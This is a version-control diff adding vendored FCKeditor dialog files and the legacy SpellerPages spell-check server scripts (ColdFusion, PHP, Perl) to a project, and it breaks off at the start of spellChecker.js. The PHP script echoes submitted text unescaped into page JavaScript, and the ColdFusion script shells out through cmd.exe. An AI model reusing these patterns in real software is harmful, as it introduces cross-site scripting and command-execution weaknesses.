+		<meta name="robots" content="noindex, nofollow">
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<style type="text/css">
+				.Hand 
+				{ 
+					cursor: pointer ;
+					cursor: hand ; 
+				}
+				.Sample { font-size: 24px; }
+		</style>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+var oSample ;
+
+function insertChar(charValue)
+{
+	oEditor.FCK.InsertHtml( charValue || "" ) ;
+	window.parent.Cancel() ;
+}
+
+function over(td)
+{
+	oSample.innerHTML = td.innerHTML ;
+	td.className = 'LightBackground SpecialCharsOver Hand' ;
+}
+
+function out(td)
+{
+	oSample.innerHTML = "&nbsp;" ;
+	td.className = 'DarkBackground SpecialCharsOut Hand' ;
+}
+
+function setDefaults()
+{
+	// Gets the sample placeholder.
+	oSample = document.getElementById("SampleTD") ;
+
+	// First of all, translates the dialog box texts.
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+}
+
+		</script>
+	</HEAD>
+	<BODY onload="setDefaults()" scroll="no">
+		<table cellpadding="0" cellspacing="0" width="100%" height="100%">
+			<tr>
+				<td width="100%">
+					<table cellpadding="1" cellspacing="1" align="center" border="0" width="100%" height="100%">
+						<script type="text/javascript">
+var aChars = ["!","&quot;","#","$","%","&amp;","\\'","(",")","*","+","-",".","/","0","1","2","3","4","5","6","7","8","9",":",";","&lt;","=","&gt;","?","@","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","[","]","^","_","`","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","{","|","}","~","&euro;","&lsquo;","&rsquo;","&rsquo;","&ldquo;","&rdquo;","&ndash;","&mdash;","&iexcl;","&cent;","&pound;","&curren;","&yen;","&brvbar;","&sect;","&uml;","&copy;","&ordf;","&laquo;","&not;","&reg;","&macr;","&deg;","&plusmn;","&sup2;","&sup3;","&acute;","&micro;","&para;","&middot;","&cedil;","&sup1;","&ordm;","&raquo;","&frac14;","&frac12;","&frac34;","&iquest;","&Agrave;","&Aacute;","&Acirc;","&Atilde;","&Auml;","&Aring;","&AElig;","&Ccedil;","&Egrave;","&Eacute;","&Ecirc;","&Euml;","&Igrave;","&Iacute;","&Icirc;","&Iuml;","&ETH;","&Ntilde;","&Ograve;","&Oacute;","&Ocirc;","&Otilde;","&Ouml;","&times;","&Oslash;","&Ugrave;","&Uacute;","&Ucirc;","&Uuml;","&Yacute;","&THORN;","&szlig;","&agrave;","&aacute;","&acirc;","&atilde;","&auml;","&aring;","&aelig;","&ccedil;","&egrave;","&eacute;","&ecirc;","&euml;","&igrave;","&iacute;","&icirc;","&iuml;","&eth;","&ntilde;","&ograve;","&oacute;","&ocirc;","&otilde;","&ouml;","&divide;","&oslash;","&ugrave;","&uacute;","&ucirc;","&uuml;","&uuml;","&yacute;","&thorn;","&yuml;","&OElig;","&oelig;","&sbquo;","&#8219;","&bdquo;","&hellip;","&trade;","&#9658;","&bull;","&rarr;","&rArr;","&hArr;","&diams;","&asymp;"] ;
+
+var cols = 20 ;
+
+var i = 0 ;
+while (i < aChars.length)
+{
+	document.write("<TR>") ;
+	for(var j = 0 ; j < cols ; j++) 
+	{
+		if (aChars[i])
+		{
+			document.write('<TD width="1%" class="DarkBackground SpecialCharsOut Hand" align="center" onclick="insertChar(\'' + aChars[i].replace(/&/g, "&amp;") + '\')" onmouseover="over(this)" onmouseout="out(this)">') ;
+			document.write(aChars[i]) ;
+		}
+		else
+			document.write("<TD class='DarkBackground SpecialCharsOut'>&nbsp;") ;
+		document.write("<\/TD>") ;
+		i++ ;
+	}
+	document.write("<\/TR>") ;
+}
+						</script>
+					</table>
+				</td>
+				<td nowrap>&nbsp;&nbsp;&nbsp;&nbsp;</td>
+				<td valign="top">
+					<table width="40" cellpadding="0" cellspacing="0" border="0">
+						<tr>
+							<td id="SampleTD" width="40" height="40" align="center" class="DarkBackground SpecialCharsOut Sample">&nbsp;</td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</BODY>
+</HTML>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages.html	(revision 44)
@@ -0,0 +1,59 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_spellerpages.html
+ * 	Spell Check dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Spell Check</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="fck_spellerpages/spellerpages/spellChecker.js"></script>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+var FCKLang = oEditor.FCKLang ;
+
+window.onload = function()
+{
+	document.getElementById('txtHtml').value = oEditor.FCK.EditorDocument.body.innerHTML ;
+
+	var oSpeller = new spellChecker( document.getElementById('txtHtml') ) ;
+	oSpeller.OnFinished = oSpeller_OnFinished ;
+	oSpeller.openChecker() ;
+}
+
+function OnSpellerControlsLoad( controlsWindow )
+{
+	// Translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage( controlsWindow.document ) ;
+}
+
+function oSpeller_OnFinished( numberOCorrections )
+{
+	if ( numberOCorrections > 0 )
+		oEditor.FCK.SetHTML( document.getElementById('txtHtml').value ) ;
+	window.parent.Cancel() ;
+}
+
+		</script>
+	</head>
+	<body style="OVERFLOW: hidden" scroll="no" style="padding:0px;">
+		<input type="hidden" id="txtHtml" value="">
+		<iframe id="frmSpell" src="../fckblank.html" name="spellchecker" width="100%" height="100%" frameborder="0"></iframe>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/controlWindow.js	(revision 44)
@@ -0,0 +1,87 @@
+﻿////////////////////////////////////////////////////
+// controlWindow object
+////////////////////////////////////////////////////
+function controlWindow( controlForm ) {
+	// private properties
+	this._form = controlForm;
+
+	// public properties
+	this.windowType = "controlWindow";
+//	this.noSuggestionSelection = "- No suggestions -";	// by FredCK
+	this.noSuggestionSelection = FCKLang.DlgSpellNoSuggestions ;
+	// set up the properties for elements of the given control form
+	this.suggestionList  = this._form.sugg;
+	this.evaluatedText   = this._form.misword;
+	this.replacementText = this._form.txtsugg;
+	this.undoButton      = this._form.btnUndo;
+
+	// public methods
+	this.addSuggestion = addSuggestion;
+	this.clearSuggestions = clearSuggestions;
+	this.selectDefaultSuggestion = selectDefaultSuggestion;
+	this.resetForm = resetForm;
+	this.setSuggestedText = setSuggestedText;
+	this.enableUndo = enableUndo;
+	this.disableUndo = disableUndo;
+}
+
+function resetForm() {
+	if( this._form ) {
+		this._form.reset();
+	}
+}
+
+function setSuggestedText() {
+	var slct = this.suggestionList;
+	var txt = this.replacementText;
+	var str = "";
+	if( (slct.options[0].text) && slct.options[0].text != this.noSuggestionSelection ) {
+		str = slct.options[slct.selectedIndex].text;
+	}
+	txt.value = str;
+}
+
+function selectDefaultSuggestion() {
+	var slct = this.suggestionList;
+	var txt = this.replacementText;
+	if( slct.options.length == 0 ) {
+		this.addSuggestion( this.noSuggestionSelection );
+	} else {
+		slct.options[0].selected = true;
+	}
+	this.setSuggestedText();
+}
+
+function addSuggestion( sugg_text ) {
+	var slct = this.suggestionList;
+	if( sugg_text ) {
+		var i = slct.options.length;
+		var newOption = new Option( sugg_text, 'sugg_text'+i );
+		slct.options[i] = newOption;
+	 }
+}
+
+function clearSuggestions() {
+	var slct = this.suggestionList;
+	for( var j = slct.length - 1; j > -1; j-- ) {
+		if( slct.options[j] ) {
+			slct.options[j] = null;
+		}
+	}
+}
+
+function enableUndo() {
+	if( this.undoButton ) {
+		if( this.undoButton.disabled == true ) {
+			this.undoButton.disabled = false;
+		}
+	}
+}
+
+function disableUndo() {
+	if( this.undoButton ) {
+		if( this.undoButton.disabled == false ) {
+			this.undoButton.disabled = true;
+		}
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/controls.html	(revision 44)
@@ -0,0 +1,153 @@
+<html>
+	<head>
+		<link rel="stylesheet" type="text/css" href="spellerStyle.css" />
+		<script src="controlWindow.js"></script>
+		<script>
+var spellerObject;
+var controlWindowObj;
+
+if( parent.opener ) {
+	spellerObject = parent.opener.speller;
+}
+
+function ignore_word() {
+	if( spellerObject ) {
+		spellerObject.ignoreWord();
+	}
+}
+
+function ignore_all() {
+	if( spellerObject ) {
+		spellerObject.ignoreAll();
+	}
+}
+
+function replace_word() {
+	if( spellerObject ) {
+		spellerObject.replaceWord();
+	}
+}
+
+function replace_all() {
+	if( spellerObject ) {
+		spellerObject.replaceAll();
+	}
+}
+
+function end_spell() {
+	if( spellerObject ) {
+		spellerObject.terminateSpell();
+	}
+}
+
+function undo() {
+	if( spellerObject ) {
+		spellerObject.undo();
+	}
+}
+
+function suggText() {
+	if( controlWindowObj ) {
+		controlWindowObj.setSuggestedText();
+	}
+}
+
+var FCKLang = window.parent.parent.FCKLang ;	// by FredCK
+
+function init_spell() {
+	// By FredCK (fckLang attributes have been added to the HTML source of this page)
+	window.parent.parent.OnSpellerControlsLoad( this ) ;
+
+	var controlForm = document.spellcheck;
+
+	// create a new controlWindow object
+ 	controlWindowObj = new controlWindow( controlForm );
+
+	// call the init_spell() function in the parent frameset
+	if( parent.frames.length ) {
+		parent.init_spell( controlWindowObj );
+	} else {
+		alert( 'This page was loaded outside of a frameset. It might not display properly' );
+	}
+}
+
+</script>
+	</head>
+	<body class="controlWindowBody" onLoad="init_spell();" style="OVERFLOW: hidden" scroll="no">	<!-- by FredCK -->
+		<form name="spellcheck">
+			<table border="0" cellpadding="0" cellspacing="0" border="0" align="center">
+				<tr>
+					<td colspan="3" class="normalLabel"><span fckLang="DlgSpellNotInDic">Not in dictionary:</span></td>
+				</tr>
+				<tr>
+					<td colspan="3"><input class="readonlyInput" type="text" name="misword" readonly /></td>
+				</tr>
+				<tr>
+					<td colspan="3" height="5"></td>
+				</tr>
+				<tr>
+					<td class="normalLabel"><span fckLang="DlgSpellChangeTo">Change to:</span></td>
+				</tr>
+				<tr valign="top">
+					<td>
+						<table border="0" cellpadding="0" cellspacing="0" border="0">
+							<tr>
+								<td class="normalLabel">
+									<input class="textDefault" type="text" name="txtsugg" />
+								</td>
+							</tr>
+							<tr>
+								<td>
+									<select class="suggSlct" name="sugg" size="7" onChange="suggText();" onDblClick="replace_word();">
+										<option></option>
+									</select>
+								</td>
+							</tr>
+						</table>
+					</td>
+					<td>&nbsp;&nbsp;</td>
+					<td>
+						<table border="0" cellpadding="0" cellspacing="0" border="0">
+							<tr>
+								<td>
+									<input class="buttonDefault" type="button" fckLang="DlgSpellBtnIgnore" value="Ignore" onClick="ignore_word();">
+								</td>
+								<td>&nbsp;&nbsp;</td>
+								<td>
+									<input class="buttonDefault" type="button" fckLang="DlgSpellBtnIgnoreAll" value="Ignore All" onClick="ignore_all();">
+								</td>
+							</tr>
+							<tr>
+								<td colspan="3" height="5"></td>
+							</tr>
+							<tr>
+								<td>
+									<input class="buttonDefault" type="button" fckLang="DlgSpellBtnReplace" value="Replace" onClick="replace_word();">
+								</td>
+								<td>&nbsp;&nbsp;</td>
+								<td>
+									<input class="buttonDefault" type="button" fckLang="DlgSpellBtnReplaceAll" value="Replace All" onClick="replace_all();">
+								</td>
+							</tr>
+							<tr>
+								<td colspan="3" height="5"></td>
+							</tr>
+							<tr>
+								<td>
+									<input class="buttonDefault" type="button" name="btnUndo" fckLang="DlgSpellBtnUndo" value="Undo" onClick="undo();"
+										disabled>
+								</td>
+								<td>&nbsp;&nbsp;</td>
+								<td> 
+									<!-- by FredCK
+									<input class="buttonDefault" type="button" value="Close" onClick="end_spell();">
+									-->
+								</td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+			</table>
+		</form>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.cfm	(revision 44)
@@ -0,0 +1,132 @@
+<!--- Coldfusion MX uses java on the server to process tags. So it is save to use most java attributes. For example below
+I use list.lastindexOf(), lastindexOf() is a java string attribute. If you plan on using this tag with earlier versions
+of Coldfusion, you will have to replace the lastindexOf with a pure coldfusion function. By replacing the lastindexOf, spellchecker.cfm
+script should be compatible with all cf version 4.5 and up.
+
+Also if you are hosting your site at an ISP, you will have to check with them to see if the use of <CFEXECUTE> is allowed. 
+In most cases ISP will not allow the use of that tag for security reasons. Clients would be able to access each others files in certain cases.
+ --->
+
+
+<!--- Set up variables --->
+<cfset tempFolder = "c:\test">
+<cfset tempfile = "spell_#randrange(1,1000)#">
+<cfset apsell_dir = "c:\aspell\bin">
+<!--- <cfset spellercss = "/speller/spellerStyle.css">		by FredCK --->
+<cfset spellercss = "../spellerStyle.css">
+<!--- <cfset word_win_src = "/speller/wordWindow.js">		by FredCK --->
+<cfset word_win_src = "../wordWindow.js">
+
+
+<!--- Takes care of those pesky smart quotes from MS apps, replaces them with regular quotes --->
+<cfset submitted_text = replacelist(form.checktext,"%u201C,%u201D","%22,%22")> 
+<cfset submitted_text = urlDecode(submitted_text)>
+
+
+
+
+<!--- need to escape special javascript characters such as ' --->
+<cfset unaltered_text = submitted_text>
+<cfset submitted_text = replace(submitted_text,"'","\'","All")>
+<cfset submitted_text = replace(submitted_text,"""","\""","All")>
+
+<!--- use carat on each line to escape possible aspell commands --->
+<cfset text = "">
+<cfloop list="#submitted_text#" index="idx" delimiters="#chr(10)##chr(13)#">
+	<cfset text =text&"^"&idx&"#chr(10)##chr(13)#">
+</cfloop>
+
+
+
+<!--- create temp file from the submitted text, this will be passed to aspell to be check for misspelled words --->
+<cffile action="write" file="#tempFolder#\#tempfile#.txt" output="#text#" charset="utf-8">
+
+
+<!--- cfsavecontent is used to set the variable that will be returned with the results from aspell.
+If your using the new version of mx 6.1 you can  use the following cfexecute tag instead:
+<cfexecute name="C:\WINDOWS\SYSTEM32\cmd.exe" arguments="/c type c:\test\#tempfile#.txt | c:\aspell\bin\aspell -a --encoding=utf-8 -H" timeout="100" variable="results"></cfexecute> --->
+
+<cfsavecontent variable="food">
+<cfexecute name="C:\WINDOWS\SYSTEM32\cmd.exe" arguments="/c type #tempFolder#\#tempfile#.txt | #apsell_dir#\aspell -a --encoding=utf-8 -H" timeout="100"></cfexecute>
+</cfsavecontent>
+
+<!--- remove temp file --->
+<cffile action="delete" file="#tempFolder#\#tempfile#.txt">
+
+
+
+
+<cfoutput>
+<html>
+<head>
+<link rel="stylesheet" type="text/css" href="speller/spellerStyle.css">
+<script src="/speller/wordWindow.js"></script>
+<script language="javascript">
+var suggs = new Array();
+var words = new Array();
+var error;
+var wordtext = unescape('#urlencodedFormat(unaltered_text)#');
+
+<cfset cnt = 1>
+<cfset word_cnt = 0>
+<cfloop list="#food#" index="list" delimiters="#chr(10)##chr(13)#">
+	<!--- removes the first line of the aspell output "@(#) International Ispell Version 3.1.20 (but really Aspell 0.50.3)" --->
+	<cfif NOT cnt EQ 1>
+		<cfif find("&",list) OR find("##",list)>
+			<!--- word that misspelled --->
+			<cfset bad_word = listGetAt(list,"2"," ")>
+			<!--- sugestions --->
+			<cfset wrdList = mid(list,(list.lastindexOf(':') + 2),(len(list) - (list.lastindexOf(':') + 2)))>
+			<cfset wrdsList = "">
+			<cfloop list=#wrdList# index="idx">
+				<cfset wrdsList =wrdsList&"'"&trim(replace(idx,"'","\'","All"))&"',">
+			</cfloop>
+			<!--- javascript --->
+			words[#word_cnt#] = '#trim(replace(bad_word,"'","\'","All"))#';
+			suggs[#word_cnt#] = [#trim(wrdsList)#];
+			<cfset word_cnt = word_cnt + 1>
+		<cfelseif find("*",list)>
+		</cfif>			
+	</cfif>
+	<cfset cnt = cnt + 1>
+</cfloop>
+
+
+
+
+
+
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.text = wordtext;
+
+
+function init_spell() {
+	// check if any error occured during server-side processing
+	if( error ) {
+		alert( error );
+	} else {
+		// call the init_spell() function in the parent frameset
+		if (parent.frames.length) {
+			parent.init_spell( wordWindowObj );
+		} else {
+			alert('This page was loaded outside of a frameset. It might not display properly');
+		}
+	}
+}
+
+
+
+</script>
+
+</head>
+<body onLoad="init_spell();">
+
+<script>
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+</cfoutput>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php	(revision 44)
@@ -0,0 +1,193 @@
+<?php
+header('Content-type: text/html; charset=utf-8');
+
+//$spellercss = '/speller/spellerStyle.css';	// by FredCK
+$spellercss = '../spellerStyle.css';			// by FredCK
+//$word_win_src = '/speller/wordWindow.js';		// by FredCK
+$word_win_src = '../wordWindow.js';				// by FredCK
+$textinputs = $_POST['textinputs']; # array
+//$aspell_prog = 'aspell';									// by FredCK (for Linux)
+$aspell_prog = '"C:\Program Files\Aspell\bin\aspell.exe"';	// by FredCK (for Windows)
+$lang = 'en_US';
+//$aspell_opts = "-a --lang=$lang --encoding=utf-8";	// by FredCK
+$aspell_opts = "-a --lang=$lang --encoding=utf-8 -H";	// by FredCK
+$tempfiledir = "./";
+$input_separator = "A";
+
+# set the JavaScript variable to the submitted text.
+# textinputs is an array, each element corresponding to the (url-encoded)
+# value of the text control submitted for spell-checking
+function print_textinputs_var() {
+	global $textinputs;
+	foreach( $textinputs as $key=>$val ) {
+		# $val = str_replace( "'", "%27", $val );
+		echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";
+	}
+}
+
+# make declarations for the text input index
+function print_textindex_decl( $text_input_idx ) {
+	echo "words[$text_input_idx] = [];\n";
+	echo "suggs[$text_input_idx] = [];\n";
+}
+
+# set an element of the JavaScript 'words' array to a misspelled word
+function print_words_elem( $word, $index, $text_input_idx ) {
+	echo "words[$text_input_idx][$index] = '" . escape_quote( $word ) . "';\n";
+}
+
+
+# set an element of the JavaScript 'suggs' array to a list of suggestions
+function print_suggs_elem( $suggs, $index, $text_input_idx ) {
+	echo "suggs[$text_input_idx][$index] = [";
+	foreach( $suggs as $key=>$val ) {
+		if( $val ) {
+			echo "'" . escape_quote( $val ) . "'";
+			if ( $key+1 < count( $suggs )) {
+				echo ", ";
+			}
+		}
+	}
+	echo "];\n";
+}
+
+# escape single quote
+function escape_quote( $str ) {
+	return preg_replace ( "/'/", "\\'", $str );
+}
+
+
+# handle a server-side error.
+function error_handler( $err ) {
+	echo "error = '" . escape_quote( $err ) . "';\n";
+}
+
+## get the list of misspelled words. Put the results in the javascript words array
+## for each misspelled word, get suggestions and put in the javascript suggs array
+function print_checker_results() {
+
+	global $aspell_prog;
+	global $aspell_opts;
+	global $tempfiledir;
+	global $textinputs;
+	global $input_separator;
+	$aspell_err = "";
+	# create temp file
+	$tempfile = tempnam( $tempfiledir, 'aspell_data_' );
+
+	# open temp file, add the submitted text.
+	if( $fh = fopen( $tempfile, 'w' )) {
+		for( $i = 0; $i < count( $textinputs ); $i++ ) {
+			$text = urldecode( $textinputs[$i] );
+			$lines = explode( "\n", $text );
+			fwrite ( $fh, "%\n" ); # exit terse mode
+			fwrite ( $fh, "^$input_separator\n" );
+			fwrite ( $fh, "!\n" ); # enter terse mode
+			foreach( $lines as $key=>$value ) {
+				# use carat on each line to escape possible aspell commands
+				fwrite( $fh, "^$value\n" );
+			}
+		}
+		fclose( $fh );
+
+		# exec aspell command - redirect STDERR to STDOUT
+		$cmd = "$aspell_prog $aspell_opts < $tempfile 2>&1";
+		if( $aspellret = shell_exec( $cmd )) {
+			$linesout = explode( "\n", $aspellret );
+			$index = 0;
+			$text_input_index = -1;
+			# parse each line of aspell return
+			foreach( $linesout as $key=>$val ) {
+				$chardesc = substr( $val, 0, 1 );
+				# if '&', then not in dictionary but has suggestions
+				# if '#', then not in dictionary and no suggestions
+				# if '*', then it is a delimiter between text inputs
+				# if '@' then version info
+				if( $chardesc == '&' || $chardesc == '#' ) {
+					$line = explode( " ", $val, 5 );
+					print_words_elem( $line[1], $index, $text_input_index );
+					if( isset( $line[4] )) {
+						$suggs = explode( ", ", $line[4] );
+					} else {
+						$suggs = array();
+					}
+					print_suggs_elem( $suggs, $index, $text_input_index );
+					$index++;
+				} elseif( $chardesc == '*' ) {
+					$text_input_index++;
+					print_textindex_decl( $text_input_index );
+					$index = 0;
+				} elseif( $chardesc != '@' && $chardesc != "" ) {
+					# assume this is error output
+					$aspell_err .= $val;
+				}
+			}
+			if( $aspell_err ) {
+				$aspell_err = "Error executing `$cmd`\\n$aspell_err";
+				error_handler( $aspell_err );
+			}
+		} else {
+			error_handler( "System error: Aspell program execution failed (`$cmd`)" );
+		}
+	} else {
+		error_handler( "System error: Could not open file '$tempfile' for writing" );
+	}
+
+	# close temp file, delete file
+	unlink( $tempfile );
+}
+
+
+?>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="<?php echo $spellercss ?>" />
+<script language="javascript" src="<?php echo $word_win_src ?>"></script>
+<script language="javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+<?php
+
+print_textinputs_var();
+
+print_checker_results();
+
+?>
+
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+function init_spell() {
+	// check if any error occured during server-side processing
+	if( error ) {
+		alert( error );
+	} else {
+		// call the init_spell() function in the parent frameset
+		if (parent.frames.length) {
+			parent.init_spell( wordWindowObj );
+		} else {
+			alert('This page was loaded outside of a frameset. It might not display properly');
+		}
+	}
+}
+
+
+
+</script>
+
+</head>
+<!-- <body onLoad="init_spell();">		by FredCK -->
+<body onLoad="init_spell();" bgcolor="#ffffff">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.pl	(revision 44)
@@ -0,0 +1,180 @@
+#!/usr/bin/perl
+
+use CGI qw/ :standard /;
+use File::Temp qw/ tempfile tempdir /;
+
+# my $spellercss = '/speller/spellerStyle.css';					# by FredCK
+my $spellercss = '../spellerStyle.css';							# by FredCK
+# my $wordWindowSrc = '/speller/wordWindow.js';					# by FredCK
+my $wordWindowSrc = '../wordWindow.js';							# by FredCK
+my @textinputs = param( 'textinputs[]' ); # array
+# my $aspell_cmd = 'aspell';									# by FredCK (for Linux)
+my $aspell_cmd = '"C:\Program Files\Aspell\bin\aspell.exe"';	# by FredCK (for Windows)
+my $lang = 'en_US';
+# my $aspell_opts = "-a --lang=$lang --encoding=utf-8";			# by FredCK
+my $aspell_opts = "-a --lang=$lang --encoding=utf-8 -H";		# by FredCK
+my $input_separator = "A";
+
+# set the 'wordtext' JavaScript variable to the submitted text. 
+sub printTextVar {
+	for( my $i = 0; $i <= $#textinputs; $i++ ) {
+	        print "textinputs[$i] = decodeURIComponent('" . escapeQuote( $textinputs[$i] ) . "')\n";
+	}
+}
+
+sub printTextIdxDecl {
+	my $idx = shift;
+	print "words[$idx] = [];\n";
+	print "suggs[$idx] = [];\n";
+}
+
+sub printWordsElem {
+	my( $textIdx, $wordIdx, $word ) = @_;
+	print "words[$textIdx][$wordIdx] = '" . escapeQuote( $word ) . "';\n";
+}
+
+sub printSuggsElem {
+	my( $textIdx, $wordIdx, @suggs ) = @_;
+	print "suggs[$textIdx][$wordIdx] = [";
+	for my $i ( 0..$#suggs ) {
+		print "'" . escapeQuote( $suggs[$i] ) . "'";
+		if( $i < $#suggs ) {
+			print ", ";
+		}
+	}
+	print "];\n";
+}
+
+sub printCheckerResults {
+	my $textInputIdx = -1;
+	my $wordIdx = 0;
+	my $unhandledText;
+	# create temp file
+	my $dir = tempdir( CLEANUP => 1 );
+	my( $fh, $tmpfilename ) = tempfile( DIR => $dir );
+
+	# temp file was created properly?
+	
+	# open temp file, add the submitted text.
+	for( my $i = 0; $i <= $#textinputs; $i++ ) {
+		$text = url_decode( $textinputs[$i] );
+		@lines = split( /\n/, $text );
+		print $fh "\%\n"; # exit terse mode
+		print $fh "^$input_separator\n";
+		print $fh "!\n";  # enter terse mode
+		for my $line ( @lines ) {
+			# use carat on each line to escape possible aspell commands
+			print $fh "^$line\n";
+		}
+		
+	}
+	# exec aspell command
+	my $cmd = "$aspell_cmd $aspell_opts < $tmpfilename 2>&1";
+	open ASPELL, "$cmd |" or handleError( "Could not execute `$cmd`\\n$!" ) and return;
+	# parse each line of aspell return
+	for my $ret ( <ASPELL> ) {
+		chomp( $ret );
+		# if '&', then not in dictionary but has suggestions
+		# if '#', then not in dictionary and no suggestions
+		# if '*', then it is a delimiter between text inputs
+		if( $ret =~ /^\*/ ) {
+			$textInputIdx++;
+			printTextIdxDecl( $textInputIdx );
+			$wordIdx = 0;
+	
+		} elsif( $ret =~ /^(&|#)/ ) {
+			my @tokens = split( " ", $ret, 5 );
+			printWordsElem( $textInputIdx, $wordIdx, $tokens[1] );
+			my @suggs = ();
+			if( $tokens[4] ) {
+				@suggs = split( ", ", $tokens[4] );
+			}
+			printSuggsElem( $textInputIdx, $wordIdx, @suggs );
+			$wordIdx++;
+		} else {
+			$unhandledText .= $ret;
+		}
+	}
+	close ASPELL or handleError( "Error executing `$cmd`\\n$unhandledText" ) and return;
+}
+
+sub escapeQuote {
+	my $str = shift;
+	$str =~ s/'/\\'/g;
+	return $str;
+}
+
+sub handleError {
+	my $err = shift;
+	print "error = '" . escapeQuote( $err ) . "';\n";
+}
+
+sub url_decode {
+	local $_ = @_ ? shift : $_;
+	defined or return;
+	# change + signs to spaces
+	tr/+/ /;
+	# change hex escapes to the proper characters
+	s/%([a-fA-F0-9]{2})/pack "H2", $1/eg;
+	return $_;
+}
+
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+# Display HTML
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+
+print <<EOF;
+Content-type: text/html; charset=utf-8
+
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+<link rel="stylesheet" type="text/css" href="$spellercss"/>
+<script src="$wordWindowSrc"></script>
+<script type="text/javascript">
+var suggs = new Array();
+var words = new Array();
+var textinputs = new Array();
+var error;
+EOF
+
+printTextVar();
+
+printCheckerResults();
+
+print <<EOF;
+var wordWindowObj = new wordWindow();
+wordWindowObj.originalSpellings = words;
+wordWindowObj.suggestions = suggs;
+wordWindowObj.textInputs = textinputs;
+
+
+function init_spell() {
+	// check if any error occured during server-side processing
+	if( error ) {
+		alert( error );
+	} else {
+		// call the init_spell() function in the parent frameset
+		if (parent.frames.length) {
+			parent.init_spell( wordWindowObj );
+		} else {
+			error = "This page was loaded outside of a frameset. "; 
+			error += "It might not display properly";
+			alert( error );
+		}
+	}
+}
+
+</script>
+
+</head>
+<body onLoad="init_spell();">
+
+<script type="text/javascript">
+wordWindowObj.writeBody();
+</script>
+
+</body>
+</html>
+EOF
+
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_spellerpages/spellerpages/spellChecker.js	(revision 44)
@@ -0,0 +1,458 @@
+﻿////////////////////////////////////////////////////
+// spellChecker.js
+//
+// spellChecker object
+//
